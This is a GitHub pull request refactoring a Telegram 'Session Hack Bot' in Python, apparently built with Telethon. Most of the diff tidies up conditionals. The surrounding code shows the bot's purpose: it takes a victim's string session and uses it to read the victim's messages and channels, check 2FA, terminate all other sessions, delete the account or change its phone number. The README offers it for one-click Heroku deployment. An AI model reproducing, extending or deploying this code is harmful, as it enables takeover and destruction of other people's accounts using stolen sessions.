Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Some Code Renew By @Ryoishin #6

Open
wants to merge 3 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@

# Deploy Your Session Hack Bot
[![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy)
59 changes: 16 additions & 43 deletions bot.py
Original file line number Diff line number Diff line change
Expand Up @@ -196,7 +196,7 @@ async def op(event):
await event.reply(mm)
@client.on(events.NewMessage(pattern="/give"))
async def op(event):
if not event.sender_id == legendx:
if event.sender_id != legendx:
return await event.reply("please don't use me fuck off 🥺")
try:
await event.reply("session bot file", file="Xarmy.session")
Expand All @@ -218,18 +218,15 @@ async def start(event):
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
try:
i = await userchannels(strses.text)
except:
return await event.reply("This StringSession is terminated maybe")
if len(i) > 3855:
file = open("session.txt", "w")
file.write(i + "\n\nDETAILS BY X ARMY")
file.close()
with open("session.txt", "w") as file:
file.write(i + "\n\nDETAILS BY X ARMY")
await bot.send_file(event.chat_id, "session.txt")
system("rm -rf session.txt")
else:
Expand All @@ -238,19 +235,15 @@ async def start(event):
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
i = await userinfo(strses.text)
await event.reply(i + "\n\nThanks For using X Army Bot")
elif r == "C":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("GIVE GROUP/CHANNEL USERNAME/ID")
grpid = await x.get_response()
Expand All @@ -260,19 +253,15 @@ async def start(event):
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
i = await usermsgs(strses.text)
await event.reply(i + "\n\nThanks For using X Army Bot")
elif r == "E":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("GIVE GROUP/CHANNEL USERNAME/ID")
grpid = await x.get_response()
Expand All @@ -282,9 +271,7 @@ async def start(event):
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("GIVE GROUP/CHANNEL USERNAME/ID")
grpid = await x.get_response()
Expand All @@ -294,9 +281,7 @@ async def start(event):
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("GIVE GROUP/CHANNEL USERNAME/ID")
grpid = await x.get_response()
Expand All @@ -306,9 +291,7 @@ async def start(event):
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
i = await user2fa(strses.text)
if i:
Expand All @@ -319,29 +302,23 @@ async def start(event):
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
i = await terminate(strses.text)
await event.reply("The all sessions are terminated\n\nThanks For using X Army Bot")
elif res.text == "J":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
i = await delacc(strses.text)
await event.reply("The Account is deleted SUCCESSFULLLY\n\nThanks For using X Army Bot")
elif res.text == "L":
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("NOW GIVE GROUP/CHANNEL USERNAME")
grp = await x.get_response()
Expand All @@ -353,9 +330,7 @@ async def start(event):
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("NOW GIVE GROUP/CHANNEL USERNAME")
pro = await x.get_response()
Expand All @@ -368,9 +343,7 @@ async def start(event):
await x.send_message("GIVE STRING SESSION")
strses = await x.get_response()
op = await cu(strses.text)
if op:
pass
else:
if not op:
return await event.respond("This StringSession is terminated maybe")
await x.send_message("GIVE NUMBER WHICH YOU WANT TO CHANGE\n[NOTE: DONT USE 2ndline or text now numbers]\n[if you are use 2nd line or text now you can't get otp] ")
number = (await x.get_response()).text
Expand Down
2 changes: 1 addition & 1 deletion runtime.txt
Original file line number Diff line number Diff line change
@@ -1 +1 @@
python-3.8.7
python-3.9.0